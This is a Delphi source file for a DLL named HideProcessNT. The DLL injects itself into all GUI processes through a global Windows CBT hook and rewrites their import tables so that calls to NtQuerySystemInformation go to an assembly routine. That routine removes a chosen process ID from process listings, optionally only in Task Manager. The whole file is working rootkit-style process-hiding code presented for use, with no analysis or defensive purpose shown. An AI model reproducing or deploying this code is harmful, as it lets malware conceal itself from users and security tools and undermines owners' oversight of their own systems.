library HideProcessNT;

uses
  Windows,tlhelp32,ImageHlp,SysUtils;

var
  hmap: THandle;
  hFirstMapHandle:THandle;

type
  SYSTEM_INFORMATION_CLASS = (SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation,
    SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts,
    SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation,
    SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5,
    SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation,
    SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation,
    SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation,
    SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment,
    SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9,
    SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation,
    SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11,
    SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation,
    SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4,
    SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation
  );
  PFARPROC = ^FARPROC;
  _IMAGE_IMPORT_DESCRIPTOR = packed record
    case Integer of
      0:(Characteristics: DWORD);
      1:(OriginalFirstThunk: DWORD; TimeDateStamp: DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD);
  end;
  IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
  PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;

procedure RedirectIAT(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
  ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
  pszModName: PChar;
  pThunk: PDWORD;
  ppfn:PFARPROC;
  ffound: LongBool;
  written: DWORD;
begin
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name<>0 do
  begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
  end;
  if (pImportDesc.Name = 0) then exit;
  pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^<>0 do
  begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
    if (fFound) then
    begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
    end;
    Inc(pThunk);
  end;
end;

var
  addr_NtQuerySystemInformation: Pointer;
  mypid: DWORD;
  fname: PCHAR;
  mapaddr: PDWORD;
  hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
  SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label lop, nextpid, exit, fillzero;
asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl exit
  cmp SystemInformationClass, SystemProcessesAndThreadsInformation
  jne exit
lop:
  mov esi, SystemInformation
nextpid:
  mov ebx, esi
  cmp dword ptr [esi],0
  je exit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne nextpid
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp lop
fillzero:
  and [ebx], edx
  jmp lop
exit:
  mov Result, eax
end;

procedure FuncIncept;
var
  hSnapShot: THandle;
  me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
  hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot = INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
      RedirectIAT('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;

procedure FreeFunc;
var
  hSnapShot: THandle;
  me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
      RedirectIAT('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;


var
  HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
  Result:=0;
end;

procedure AttachHook; stdcall;
begin
  HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

procedure LibraryProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
    if mypid > 0 then
      FreeFunc()
    else
      CloseHandle(hFirstMapHandle);
end;

function HideNtProcess(pid:DWORD):BOOL; stdcall;
var
  addrMap: PDWORD;
  ptr2: PBOOL;
  OnlyBlindTaskmgr: BOOL;
begin
  mypid:=0;
  result:=false;
  OnlyBlindTaskmgr:=False;
  hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then
  begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;
  addrMap^:=pid;
  ptr2:=PBOOL(DWORD(addrMap)+4);
  ptr2^:=OnlyBlindTaskmgr;
  UnmapViewOfFile(addrMap);
  AttachHook;
  result:=true;
end;

exports
  HideNtProcess;

begin
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
    mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
    mypid:=mapaddr^;
    hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then
    begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
    FuncIncept;
  finally
    UnmapViewOfFile(mapaddr);
    CloseHandle(Hmap);
    DLLProc:=@LibraryProc;
  end;
end.